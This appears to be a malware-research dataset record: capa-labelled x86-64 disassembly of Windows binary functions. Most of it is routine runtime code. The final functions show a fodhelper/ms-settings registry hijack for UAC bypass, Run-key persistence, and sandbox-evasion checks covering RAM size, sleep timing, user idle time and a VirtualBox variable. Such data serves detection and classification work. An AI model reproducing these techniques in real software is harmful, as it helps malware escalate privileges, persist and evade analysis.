joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5eeec0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5ef05b
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rsp + 0x80], rax
xor ecx, ecx
jmp 0x5eeee1
inc rcx
cmp rbx, rcx
jle 0x5ef051
movzx edx, byte [rax + rcx]
cmp dl, 0x80
jb 0x5eeede
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x80], rax
call fcn.004ede00
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x48], rdi
mov rdx, qword [0x008cbe10]
test rsi, rsi
mov r8, qword [rsp + 0x88]
cmovne rbx, r8
mov r8, qword [rsp + 0x80]
cmovne rax, r8
mov r8, rax
mov rax, rdx
mov r9, rbx
mov rbx, r8
mov rcx, r9
mov edi, 1
call fcn.005eb280
mov rdx, qword [rsp + 0x58]
test rdx, rdx
mov rdx, qword [rsp + 0x48]
mov esi, 0
cmovne rdx, rsi
mov r8, qword [rsp + 0x60]
mov r9d, 0
cmovne r8, r9
nop word [rax + rax]
test rcx, rcx
jne 0x5ef045
test rdx, rdx
je 0x5ef03a
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x48], rdx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00403b80
xorps xmm15, xmm15
mov r14, qword [0x009675e0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x5ef009
xor eax, eax
lea rbx, [0x006b8d79]
mov ecx, 1
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
lea r8, [0x006b8d97]
mov r9d, 2
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x48]
call fcn.004533a0
jmp 0x5ef030
xor eax, eax
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
lea rdi, [0x00731cc8]
mov esi, 1
mov r8, qword [rsp + 0x60]
mov r9, qword [rsp + 0x48]
call fcn.004532e0
xor ecx, ecx
xor edi, edi
add rsp, 0x70
pop rbp
ret
xor ecx, ecx
mov rdi, r9
add rsp, 0x70
pop rbp
ret
mov rax, r9
mov rbx, rsi
add rsp, 0x70
pop rbp
ret
xor ecx, ecx
xor edi, edi
add rsp, 0x70
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00469ca0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.005eeec0
Function at 0x630000
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x630102
push rbp
mov rbp, rsp
sub rsp, 0x68
mov qword [rsp + 0x78], rax
mov rcx, qword [rax + 0x28]
mov rbx, qword [rax + 0x30]
nop
mov rax, rcx
call fcn.00576f40
test rdi, rdi
jne 0x630053
mov rbx, qword [0x008e03c0]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rdx]
mov rdi, qword [rdx + 8]
lea rax, [0x0066f5e0]
call fcn.004137e0
mov rdi, qword [rax + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x48], rdi
mov rax, qword [rsp + 0x78]
call fcn.0062ffa0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x50], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
nop
call fcn.00403b80
xorps xmm15, xmm15
mov r14, qword [0x009675e0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x6300d5
xor eax, eax
lea rbx, [0x006b8d79]
mov ecx, 1
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x50]
lea r8, [0x006b8d97]
mov r9d, 2
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x48]
call fcn.004533a0
jmp 0x6300fc
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
lea rdi, [0x00731cc8]
mov esi, 1
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x48]
call fcn.004532e0
add rsp, 0x68
pop rbp
ret
mov qword [rsp + 8], rax
call fcn.00469ca0
mov rax, qword [rsp + 8]
jmp fcn.00630000
Function at 0x140001250
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001292
xor eax, eax
jmp 0x140001316
xor edx, edx
mov dword [rsp + 0x20], 0x130
mov r8d, 0x12c
lea rcx, [rsp + 0x24]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x140001301
lea rcx, [rsp + 0x4c]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], bl
jne 0x1400012c7
cmp qword [rsi + 0x18], 0xf
mov rcx, rsi
mov r8, qword [rsi + 0x10]
jbe 0x1400012e0
mov rcx, qword [rsi]
cmp r8, rax
jne 0x1400012f3
lea rdx, [rsp + 0x4c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140001307
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400012be
jmp 0x14000130b
mov ebx, dword [rsp + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400024f0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140002e70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002eba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002eba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002eba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002eba
cmp dword [rcx + 0x84], 0xe
jbe 0x140002eba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002ebc
xor al, al
add rsp, 0x28
ret
Function at 0x1400018e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000192e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000192e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000192e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000192e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000192e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001930
xor al, al
add rsp, 0x28
ret

Function at 0x140004f0c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140004f7b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004f7b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004f7b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004f7b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004f7b
cmp dword [rcx + 0x84], 0xe
jbe 0x140004f7b
cmp dword [rcx + 0xf8], 0
je 0x140004f7b
mov ecx, ebx
call fcn.140005020
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140004e14
nop
cmp dword [rbp + 0x20], 0
jne 0x140004fdc
call fcn.140008764
cmp eax, 1
jne 0x140004fcc
xor dl, dl
jmp 0x140004fd6
call fcn.140008730
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x140004fe7
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140004ff0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140004f0c

Function at 0x1400050f4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140004f0c
Function at 0x140008120
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008150
xor eax, eax
jmp 0x140008213
mov rbp, rbx
cmp word [rax], si
je 0x140008175
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000815c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008158
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008040
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x1400081b6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008149
call fcn.140009010
mov rdi, rax
test rax, rax
jne 0x1400081cc
xor ecx, ecx
call fcn.140006620
jmp 0x1400081ab
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008040
test eax, eax
jne 0x1400081fd
mov rcx, rdi
call fcn.140006620
jmp 0x140008207
xor ecx, ecx
call fcn.140006620
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000bb1c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400070f8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000bba6
cmp byte [rbp - 0x21], r15b
je 0x14000bba1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000bbdc
call fcn.140009854
test eax, eax
jne 0x14000bbc8
cmp byte [rbp - 0x21], r15b
je 0x14000bbc0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000bbdc
cmp byte [rbp - 0x21], r15b
je 0x14000bbd9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000668c
test eax, eax
jne 0x14000bc7c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400070f8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000bc1b
cmp byte [rbp - 0x21], r15b
je 0x14000bc50
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000bc50
call fcn.140009854
test eax, eax
jne 0x14000bc3c
cmp byte [rbp - 0x21], r15b
je 0x14000bc35
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000bc50
cmp byte [rbp - 0x21], r15b
je 0x14000bc4d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000668c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000bc7c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000bc7f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000bc8d
mov rcx, rdi
call fcn.140006620
cmp byte [rbp + 0x3f], r15b
je 0x14000bc9c
mov rcx, qword [rbp + 0x27]
call fcn.140006620
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000daa0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000dac8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000dac8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400051ad
Capabilities:
Read file on windows

Disassembly:
push rsi
sub rsp, 0xb0
mov rsi, rcx
movups xmm0, xmmword [0x1400080d8]
lea rax, [rsp + 0x60]
movaps xmmword [rax], xmm0
mov ecx, 0xffffffff
cmp r8, rcx
cmovb rcx, r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x140005213
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0
cmp eax, 0xc0000011
je 0x14000524c
cmp eax, 0x103
je 0x140005258
test eax, eax
js 0x140005235
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
jmp 0x14000524c
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov ecx, 1
mov rax, rcx
add rsp, 0xb0
pop rsi
ret
lea rcx, [rsp + 0x58]
mov byte [rcx + 4], 0
and dword [rcx], 0
lea rax, [0x140008140]
lea rdx, [rsp + 0x80]
mov qword [rdx], rax
mov qword [rdx + 8], 1
lea rax, [rsp + 0x50]
mov qword [rdx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rdx + 0x18], xmm0
call fcn.1400042fd
lea rcx, [rsp + 0x78]
mov qword [rcx], rax
call fcn.140003d5c
mov ecx, 7
int 0x29
ud2

Function at 0x140005b4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x140005b96
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005b96
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005b96
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005b96
cmp dword [rcx + 0x84], 0xe
jbe 0x140005b96
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005b98
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140006430]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140006440]
mov dword [rax], 1
mov rax, qword [0x140006450]
mov dword [rax], 1
mov rax, qword [0x1400063c0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140006420]
mov dword [0x14000900c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140006500]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400064e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400063a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140006480]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rdi
xor eax, eax
lock cmpxchg qword [rbx], rsi
jne 0x1400011b0
mov rsi, qword [0x140006490]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140009008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400063f0]
mov rax, qword [rax]
test rax, rax
je 0x14000121f
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140006470]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140009028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140009020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
nop dword [rax]
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140009020], rbp
call dbg.__main
mov rax, qword [0x140006400]
mov r8, qword [0x140009018]
mov ecx, dword [0x140009028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140009020]
call sym.main
mov ecx, dword [0x14000900c]
mov dword [0x140009010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140009008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140006490]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011dd
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011fc
mov rdx, qword [0x1400064b0]
mov rcx, qword [0x1400064a0]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001204
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001204
call sym._cexit
mov eax, dword [0x140009010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400064d0]
mov rcx, qword [0x1400064c0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f1
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x1400014cb
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20006
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x140001564
mov rax, qword [rbp + 0x28]
mov rcx, rax
call sym.strlen
lea ecx, [rax + 1]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp + 0x20]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x14000168d
Capabilities:
Persist via run registry key

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, str.SoftwareClassesms_settingsShellOpencommand
mov qword [rbp - 8], rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp - 0x10], rax
lea rax, str.DelegateExecute
mov qword [rbp - 0x18], rax
lea rax, str.C:UsersMALDEV01Desktop_boredprivileges_check.src
mov qword [rbp - 0x20], rax
lea rax, str.explorer.exe_C:WindowsSystem32_fodhelper.exe
mov qword [rbp - 0x28], rax
mov ecx, 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov ecx, eax
call sym.srand
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.generateRandomString
mov rax, qword [rbp - 8]
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.addRegistryKey
mov rax, qword [rbp - 8]
mov rdx, rax
lea rax, str.___Added_Registry_Key:__s_n
mov rcx, rax
call dbg.printf
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
lea r9, [0x1400050f3]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.setRegistryValue
mov rax, qword [rbp - 0x18]
mov rdx, rax
lea rax, str.___Set_Registry_Key:__s_n
mov rcx, rax
call dbg.printf
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r9, rdx
lea r8, [0x1400050f3]
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.setRegistryValue
mov rax, qword [rbp - 0x28]
mov rdx, rax
lea rax, str.___Set_Registry_Key:__s_n
mov rcx, rax
call dbg.printf
mov rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.setRegistryValue
mov rax, qword [rbp - 0x28]
mov rdx, rax
lea rax, str.___Set_Registry_data:__s_n
mov rcx, rax
call dbg.printf
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x140001850
Capabilities:
Get memory capacity

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp - 0x50], 0x40
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x48]
shr rax, 0x14
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rdx, rax
lea rax, str._llu_MB_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp - 0x48]
mov edx, 0xffffffff
cmp rdx, rax
jb 0x1400018bf
lea rax, str.Low_RAM_detected._Potential_sandbox.
mov rcx, rax
call sym.puts
mov eax, dword [0x140009030]
add eax, 1
mov dword [0x140009030], eax
jmp 0x1400018ce
lea rax, str.Sufficient_RAM_available.
mov rcx, rax
call sym.puts
nop
add rsp, 0x70
pop rbp
ret

Function at 0x1400018d5
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 4], eax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
sub eax, dword [rbp - 4]
cmp eax, 0x7cf
ja 0x140001930
lea rax, str.Sleep_was_skipped_or_shortened._Potential_sandbox.
mov rcx, rax
call sym.puts
mov eax, dword [0x140009030]
add eax, 1
mov dword [0x140009030], eax
jmp 0x14000193f
lea rax, str.Sleep_timing_is_normal.
mov rcx, rax
call sym.puts
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001a59
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp - 0xc], 0
mov dword [rbp - 0xc], 8
lea rax, [rbp - 0xc]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetLastInputInfo]
call rax
test eax, eax
je 0x140001aca
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov edx, eax
mov eax, dword [rbp - 8]
sub edx, eax
mov dword [rbp - 4], edx
cmp dword [rbp - 4], 0x7530
jbe 0x140001ab9
lea rax, str.No_user_interaction_detected._Potential_sandbox.
mov rcx, rax
call sym.puts
mov ecx, 0
call sym.exit
lea rax, str.User_activity_detected.
mov rcx, rax
call sym.puts
jmp 0x140001ad9
lea rax, str.Failed_to_get_last_input_info.
mov rcx, rax
call sym.puts
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140001ae0
Capabilities:
Get system information on windows
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x1c]
cmp eax, 0x182
je 0x140001b0f
mov eax, dword [rbp - 0x1c]
cmp eax, 0x1e6
jne 0x140001b2d
lea rax, str.Unusual_CPU_detected._Potential_sandbox.
mov rcx, rax
call sym.puts
mov eax, dword [0x140009030]
add eax, 1
mov dword [0x140009030], eax
mov dword [rbp - 4], pe_nt_image_headers64
mov edx, dword [rbp - 4]
lea rax, [rbp - 0xc0]
mov r8d, edx
mov rdx, rax
lea rax, str.VBOX_ENV
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
test eax, eax
je 0x140001b7b
lea rax, str.VirtualBox_environment_variable_detected.
mov rcx, rax
call sym.puts
mov eax, dword [0x140009030]
add eax, 1
mov dword [0x140009030], eax
jmp 0x140001b8a
lea rax, str.No_virtualization_related_environment_variables_found.
mov rcx, rax
call sym.puts
nop
add rsp, 0xe0
pop rbp
ret

Function at 0x140001b94
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov eax, dword [0x140009030]
cmp eax, 3
jle 0x140001bc0
lea rax, str.More_than_3_detections_triggered._Exiting_program.
mov rcx, rax
call sym.puts
mov ecx, 1
call sym.exit
nop
add rsp, 0x20
pop rbp
ret